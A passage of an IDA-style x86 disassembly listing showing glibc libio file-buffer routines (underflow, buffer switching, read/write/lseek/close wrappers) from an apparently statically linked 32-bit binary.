		mov	ecx, [ebp-48h]
		push	ecx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		mov	[ebp-44h], eax
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_80613D4

loc_80613CA:				; CODE XREF: .text:080612B0j
		mov	eax, 0FFFFFFFFh
		jmp	loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80613D4:				; CODE XREF: .text:080613C8j
		test	edi, edi
		jnz	short loc_80613DC
		xor	edx, edx
		jmp	short loc_806140C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80613DC:				; CODE XREF: .text:080613D6j
		mov	edx, [ebx+50h]
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		push	ebx
		mov	eax, [edx+6Ch]
		call	eax
		mov	edx, eax
		add	esp, 0Ch
		cmp	edx, edi
		jge	short loc_806140C
		mov	esi, edi
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8061402
		sub	esi, edx

loc_8061402:				; CODE XREF: .text:080613FEj
		mov	edi, 1
		jmp	short loc_806143C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806140C:				; CODE XREF: .text:080613DAj
					; .text:080613F7j
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		add	edi, [ebx+1Ch]
		mov	[ebx+4], edi
		mov	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	[ebx+8], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		add	edx, [ebp-44h]
		mov	[ebx+40h], edx
		and	dword ptr [ebx], 0FFFFFFEFh
		mov	eax, esi
		jmp	short loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806143C:				; CODE XREF: .text:08061300j
					; .text:08061321j ...
		push	ebx
		call	sub_8062368
		mov	eax, [ebx+50h]
		push	edi
		push	esi
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		mov	[ebp-44h], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061458
		and	dword ptr [ebx], 0FFFFFFEFh

loc_8061458:				; CODE XREF: .text:08061453j
		mov	ecx, [ebp-44h]
		mov	[ebx+40h], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, [ebp-44h]

loc_8061482:				; CODE XREF: .text:08061386j
					; .text:080613CFj ...
		lea	esp, [ebp-54h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+10h]
		nop

loc_806149C:				; CODE XREF: .text:080614B6j
		push	ebx
		push	esi
		mov	eax, [edi+38h]
		push	eax
		call	__libc_read
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_80614B8
		cmp	errno, 4
		jz	short loc_806149C

loc_80614B8:				; CODE XREF: .text:080614ADj
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	eax
		push	edx
		mov	eax, [ecx+38h]
		push	eax
		call	__libc_lseek
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [eax+38h]
		push	edx
		push	eax
		push	1
		call	_fxstat
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	eax, [eax+38h]
		push	eax
		call	__libc_close
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+10h]

loc_806151F:				; CODE XREF: .text:0806153Aj
					; .text:08061543j
		test	ebx, ebx
		jle	short loc_8061548
		push	ebx
		push	esi
		mov	eax, [edi+38h]
		push	eax
		call	__libc_write
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_806153C
		sub	ebx, eax
		add	esi, eax
		jmp	short loc_806151F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806153C:				; CODE XREF: .text:08061534j
		cmp	errno, 4
		jz	short loc_806151F
		or	byte ptr [edi],	20h

loc_8061548:				; CODE XREF: .text:08061521j
		sub	[ebp+10h], ebx
		cmp	dword ptr [edi+40h], 0
		jl	short loc_8061557
		mov	edx, [ebp+10h]
		add	[edi+40h], edx

loc_8061557:				; CODE XREF: .text:0806154Fj
		mov	eax, [ebp+10h]
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		xor	esi, esi
		test	eax, eax
		jnz	short loc_8061598
		xor	eax, eax
		jmp	loc_806177E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061584:				; CODE XREF: .text:080615F8j
					; .text:08061603j ...
		mov	eax, [ebp-0Ch]
		sub	eax, ebx
		lea	edi, [eax+1]
		mov	esi, 1
		jmp	loc_8061656
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061598:				; CODE XREF: .text:0806157Aj
		mov	edx, [ebp+8]
		mov	edi, [edx+18h]
		sub	edi, [edx+14h]
		mov	eax, [edx]
		and	eax, 0A00h
		cmp	eax, 0A00h
		jnz	loc_8061656
		mov	edi, [edx+20h]
		sub	edi, [edx+14h]
		cmp	[ebp+10h], edi
		ja	loc_8061656
		mov	eax, [ebp+10h]
		add	eax, ebx
		mov	[ebp-0Ch], eax
		cmp	eax, ebx
		jbe	loc_8061656
		mov	eax, ebx
		sub	eax, [ebp-0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	[ebp-0Ch], ebx
		jle	short loc_8061609
		test	ecx, ecx
		jz	short loc_806161C
		cmp	ecx, 3
		jge	short loc_8061609
		cmp	ecx, 2
		jge	short loc_80615FA
		dec	dword ptr [ebp-0Ch]
		mov	edx, [ebp-0Ch]
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8061584

loc_80615FA:				; CODE XREF: .text:080615EDj
		dec	dword ptr [ebp-0Ch]
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584

loc_8061609:				; CODE XREF: .text:080615DFj
					; .text:080615E8j
		dec	dword ptr [ebp-0Ch]
		mov	edx, [ebp-0Ch]
		cmp	byte ptr [edx],	0Ah
		jz	loc_8061584
		cmp	edx, ebx
		jbe	short loc_8061656

loc_806161C:				; CODE XREF: .text:080615E3j
					; .text:08061654j
		dec	dword ptr [ebp-0Ch]
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp-0Ch], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp-0Ch], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp-0Ch], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		cmp	eax, ebx
		ja	short loc_806161C

loc_8061656:				; CODE XREF: .text:08061591j
					; .text:080615ADj ...
		test	edi, edi
		jz	loc_8061708
		cmp	[ebp-4], edi
		jnb	short loc_8061666
		mov	edi, [ebp-4]

loc_8061666:				; CODE XREF: .text:08061661j
		cmp	edi, 14h
		jbe	short loc_8061680
		mov	edx, [ebp+8]
		mov	edx, [edx+14h]
		push	edi
		push	ebx
		push	edx
		call	memcpy
		add	esp, 0Ch
		add	ebx, edi
		jmp	short loc_80616FF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061680:				; CODE XREF: .text:08061669j
		mov	eax, [ebp+8]
		mov	eax, [eax+14h]
		mov	[ebp-0Ch], eax
		lea	ecx, [edi-1]
		test	ecx, ecx
		jl	short loc_80616FF
		mov	eax, ecx
		not	eax
		and	eax, 3
		mov	[ebp-8], eax
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_80616C9
		test	eax, eax
		jz	short loc_80616D8
		cmp	eax, 3
		jge	short loc_80616C9
		cmp	eax, 2
		jge	short loc_80616BC
		mov	dl, [ebx]
		mov	eax, [ebp-0Ch]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp-0Ch], eax
		lea	ecx, [edi-2]

loc_80616BC:				; CODE XREF: .text:080616ABj
		mov	dl, [ebx]
		mov	eax, [ebp-0Ch]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp-0Ch], eax
		dec	ecx

loc_80616C9:				; CODE XREF: .text:0806169Dj
					; .text:080616A6j
		mov	dl, [ebx]
		mov	eax, [ebp-0Ch]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp-0Ch], eax
		dec	ecx
		js	short loc_80616FF

loc_80616D8:				; CODE XREF: .text:080616A1j
					; .text:080616FDj
		mov	dl, [ebx]
		mov	eax, [ebp-0Ch]
		mov	[eax], dl
		mov	dl, [ebx+1]
		mov	[eax+1], dl
		mov	dl, [ebx+2]
		mov	[eax+2], dl
		mov	dl, [ebx+3]
		mov	[eax+3], dl
		add	ebx, 4
		add	eax, 4
		mov	[ebp-0Ch], eax
		add	ecx, 0FFFFFFFCh
		jns	short loc_80616D8

loc_80616FF:				; CODE XREF: .text:0806167Ej
					; .text:0806168Ej ...
		mov	eax, [ebp+8]
		add	[eax+14h], edi
		sub	[ebp-4], edi

loc_8061708:				; CODE XREF: .text:08061658j
		mov	eax, [ebp-4]
		add	eax, esi
		jz	short loc_8061778
		push	0FFFFFFFFh
		mov	edx, [ebp+8]
		push	edx
		call	sub_8061910
		mov	ecx, eax
		add	esp, 8
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_8061778
		mov	eax, [ebp+8]
		mov	ecx, [eax+20h]
		sub	ecx, [eax+1Ch]
		cmp	ecx, 7Fh
		jbe	short loc_8061740
		mov	eax, [ebp-4]
		xor	edx, edx
		div	ecx
		mov	esi, edx
		jmp	short loc_8061742
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061740:				; CODE XREF: .text:08061730j
		xor	esi, esi

loc_8061742:				; CODE XREF: .text:0806173Bj
		mov	edi, [ebp-4]
		sub	edi, esi
		push	edi
		push	ebx
		mov	eax, [ebp+8]
		push	eax
		call	sub_8060FA8
		mov	ecx, eax
		add	esp, 0Ch
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_8061778
		mov	[ebp-4], esi
		test	esi, esi
		jz	short loc_8061778
		push	esi
		add	ebx, edi
		mov	[ebp-8], ebx
		push	ebx
		mov	edx, [ebp+8]
		push	edx
		call	sub_8061C2C
		mov	ecx, eax
		sub	[ebp-4], ecx

loc_8061778:				; CODE XREF: .text:0806170Dj
					; .text:08061722j ...
		mov	eax, [ebp+10h]
		sub	eax, [ebp-4]

loc_806177E:				; CODE XREF: .text:0806157Ej
		lea	esp, [ebp-18h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; [0000003C BYTES: COLLAPSED FUNCTION _IO_un_link. PRESS KEYPAD	"+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION _IO_link_in. PRESS KEYPAD	"+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80617E4	proc near		; CODE XREF: sub_8061928+Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+8]
		sub	edx, [eax+0Ch]
		mov	eax, [eax+30h]
		test	eax, eax
		jz	short loc_8061806
		nop

loc_80617F8:				; CODE XREF: sub_80617E4+20j
		cmp	[eax+8], edx
		jge	short loc_8061800
		mov	edx, [eax+8]

loc_8061800:				; CODE XREF: sub_80617E4+17j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_80617F8

loc_8061806:				; CODE XREF: sub_80617E4+11j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_80617E4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806180C	proc near		; CODE XREF: sub_80618D4+Ep
					; sub_8061A70+2Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFEFFh
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+0Ch]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_806180C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806183C	proc near		; CODE XREF: .text:0806234Fp
					; sub_80623B8+25p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 100h
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+8]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_806183C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806186C	proc near		; CODE XREF: _IO_file_underflow+35p
					; .text:080612A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_8061894
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061894
		mov	eax, 0FFFFFFFFh
		jmp	short loc_80618CC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061894:				; CODE XREF: sub_806186C+Dj
					; sub_806186C+1Dj
		test	byte ptr [ebx+1], 1
		jz	short loc_80618A4
		mov	eax, [ebx+28h]
		mov	[ebx+0Ch], eax
		jmp	short loc_80618B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80618A4:				; CODE XREF: sub_806186C+2Cj
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+14h]
		cmp	[ebx+8], eax
		jnb	short loc_80618B5
		mov	[ebx+8], eax

loc_80618B5:				; CODE XREF: sub_806186C+34j
					; sub_806186C+44j
		mov	eax, [ebx+14h]
		mov	[ebx+4], eax
		mov	[ebx+18h], eax
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		and	dword ptr [ebx], 0FFFFF7FFh
		xor	eax, eax

loc_80618CC:				; CODE XREF: sub_806186C+24j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_806186C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80618D4	proc near		; CODE XREF: sub_8061A70+63p
					; .text:08061B53p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 1
		jz	short loc_80618EA
		push	ebx
		call	sub_806180C
		add	esp, 4

loc_80618EA:				; CODE XREF: sub_80618D4+Bj
		mov	eax, [ebx+24h]
		push	eax
		call	free
		mov	dword ptr [ebx+24h], 0
		mov	dword ptr [ebx+2Ch], 0
		mov	dword ptr [ebx+28h], 0
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80618D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061910	proc near		; CODE XREF: _IO_vsprintf+46p
					; _IO_vfprintf+BEAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [edx+50h]
		push	eax
		push	edx
		mov	eax, [ecx+14h]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8061910	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061928	proc near		; CODE XREF: sub_8061A70+47p
					; .text:08061B37p

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_80617E4
		mov	esi, eax
		mov	ecx, [edi+8]
		sub	ecx, [edi+0Ch]
		sub	ecx, esi
		mov	[ebp+var_4], ecx
		mov	eax, [edi+2Ch]
		sub	eax, [edi+24h]
		add	esp, 4
		cmp	ecx, eax
		jle	loc_80619EC
		mov	[ebp+var_8], 64h
		mov	eax, ecx
		add	eax, 64h
		push	eax
		call	malloc
		mov	[ebp+var_C], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8061980
		mov	eax, 0FFFFFFFFh
		jmp	loc_8061A63
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061980:				; CODE XREF: sub_8061928+4Aj
		test	esi, esi
		jge	short loc_80619B0
		mov	edx, esi
		neg	edx
		mov	ebx, [ebp+var_C]
		add	ebx, [ebp+var_8]
		mov	eax, [edi+2Ch]
		add	eax, esi
		push	edx
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		sub	ebx, esi
		mov	edx, [edi+0Ch]
		mov	eax, [edi+8]
		sub	eax, edx
		push	eax
		push	edx
		push	ebx
		jmp	short loc_80619C1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80619B0:				; CODE XREF: sub_8061928+5Aj
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_8]
		mov	eax, [edi+0Ch]
		add	eax, esi
		mov	ecx, [ebp+var_4]
		push	ecx
		push	eax
		push	edx

loc_80619C1:				; CODE XREF: sub_8061928+83j
		call	memcpy
		add	esp, 0Ch
		cmp	dword ptr [edi+24h], 0
		jz	short loc_80619D8
		mov	eax, [edi+24h]
		push	eax
		call	free

loc_80619D8:				; CODE XREF: sub_8061928+A5j
		mov	ecx, [ebp+var_C]
		mov	[edi+24h], ecx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[edi+2Ch], eax
		jmp	short loc_8061A40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80619EC:				; CODE XREF: sub_8061928+2Aj
		sub	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		test	esi, esi
		jge	short loc_8061A24
		mov	eax, esi
		neg	eax
		push	eax
		mov	eax, esi
		add	eax, [edi+2Ch]
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, [edi+24h]
		push	eax
		call	memmove
		mov	edx, [ebp+var_8]
		add	edx, [edi+24h]
		sub	edx, esi
		mov	ecx, [edi+0Ch]
		mov	eax, [edi+8]
		sub	eax, ecx
		push	eax
		push	ecx
		jmp	short loc_8061A3A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061A24:				; CODE XREF: sub_8061928+CCj
		cmp	[ebp+var_4], 0
		jle	short loc_8061A40
		mov	edx, [ebp+var_8]
		add	edx, [edi+24h]
		mov	eax, [edi+0Ch]
		add	eax, esi
		mov	ecx, [ebp+var_4]
		push	ecx
		push	eax

loc_8061A3A:				; CODE XREF: sub_8061928+F7j
		push	edx
		call	memcpy

loc_8061A40:				; CODE XREF: sub_8061928+C2j
					; sub_8061928+100j
		mov	ecx, [ebp+var_8]
		add	ecx, [edi+24h]
		mov	[edi+28h], ecx
		mov	edx, [edi+8]
		sub	edx, [edi+0Ch]
		mov	eax, [edi+30h]
		test	eax, eax
		jz	short loc_8061A61
		lea	esi, [esi]

loc_8061A58:				; CODE XREF: sub_8061928+137j
		sub	[eax+8], edx
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_8061A58

loc_8061A61:				; CODE XREF: sub_8061928+12Cj
		xor	eax, eax

loc_8061A63:				; CODE XREF: sub_8061928+51j
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061928	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061A70	proc near		; CODE XREF: _IO_getline+1Fp
					; .text:08061E14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 8
		jz	short loc_8061A8B
		push	ebx
		call	sub_806186C
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061AC3

loc_8061A8B:				; CODE XREF: sub_8061A70+Bj
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		ja	short loc_8061AAA
		test	byte ptr [ebx+1], 1
		jz	short loc_8061AB0
		push	ebx
		call	sub_806180C
		add	esp, 4
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		jbe	short loc_8061AB0

loc_8061AAA:				; CODE XREF: sub_8061A70+21j
		movzx	eax, byte ptr [eax]
		jmp	short loc_8061AE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061AB0:				; CODE XREF: sub_8061A70+27j
					; sub_8061A70+38j
		cmp	dword ptr [ebx+30h], 0
		jz	short loc_8061ACC
		push	ebx
		call	sub_8061928
		add	esp, 4
		test	eax, eax
		jz	short loc_8061ADB

loc_8061AC3:				; CODE XREF: sub_8061A70+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061AE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061ACC:				; CODE XREF: sub_8061A70+44j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8061ADB
		push	ebx
		call	sub_80618D4
		add	esp, 4

loc_8061ADB:				; CODE XREF: sub_8061A70+51j
					; sub_8061A70+60j
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax

loc_8061AE4:				; CODE XREF: sub_8061A70+3Dj
					; sub_8061A70+58j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061A70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		test	byte ptr [ebx+1], 8
		jz	short loc_8061B07
		push	ebx
		call	sub_806186C
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061B43

loc_8061B07:				; CODE XREF: .text:08061AF7j
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		ja	short loc_8061B26
		test	byte ptr [ebx+1], 1
		jz	short loc_8061B30
		push	ebx
		call	sub_806180C
		add	esp, 4
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		jbe	short loc_8061B30

loc_8061B26:				; CODE XREF: .text:08061B0Dj
		movzx	eax, byte ptr [eax]
		inc	dword ptr [ebx+4]
		jmp	short loc_8061B64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061B30:				; CODE XREF: .text:08061B13j
					; .text:08061B24j
		cmp	dword ptr [ebx+30h], 0
		jz	short loc_8061B4C
		push	ebx
		call	sub_8061928
		add	esp, 4
		test	eax, eax
		jz	short loc_8061B5B

loc_8061B43:				; CODE XREF: .text:08061B05j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061B64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061B4C:				; CODE XREF: .text:08061B34j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8061B5B
		push	ebx
		call	sub_80618D4
		add	esp, 4

loc_8061B5B:				; CODE XREF: .text:08061B41j
					; .text:08061B50j
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+24h]
		call	eax

loc_8061B64:				; CODE XREF: .text:08061B2Cj
					; .text:08061B48j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061B6C	proc near		; CODE XREF: _IO_str_init_static+61p
					; .text:08053029p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_8061B96
		test	byte ptr [ebx],	1
		jnz	short loc_8061B96
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		call	__libc_munmap

loc_8061B96:				; CODE XREF: sub_8061B6C+13j
					; sub_8061B6C+18j
		mov	[ebx+1Ch], esi
		mov	[ebx+20h], edi
		cmp	[ebp+arg_C], 0
		jz	short loc_8061BA8
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_8061BAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061BA8:				; CODE XREF: sub_8061B6C+34j
		or	byte ptr [ebx],	1

loc_8061BAB:				; CODE XREF: sub_8061B6C+39j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061B6C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061BB8	proc near		; CODE XREF: _IO_file_underflow+1Fp
					; .text:08061139p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_8061BEB
		test	byte ptr [ebx],	2
		jnz	short loc_8061BDB
		mov	eax, [ebx+50h]
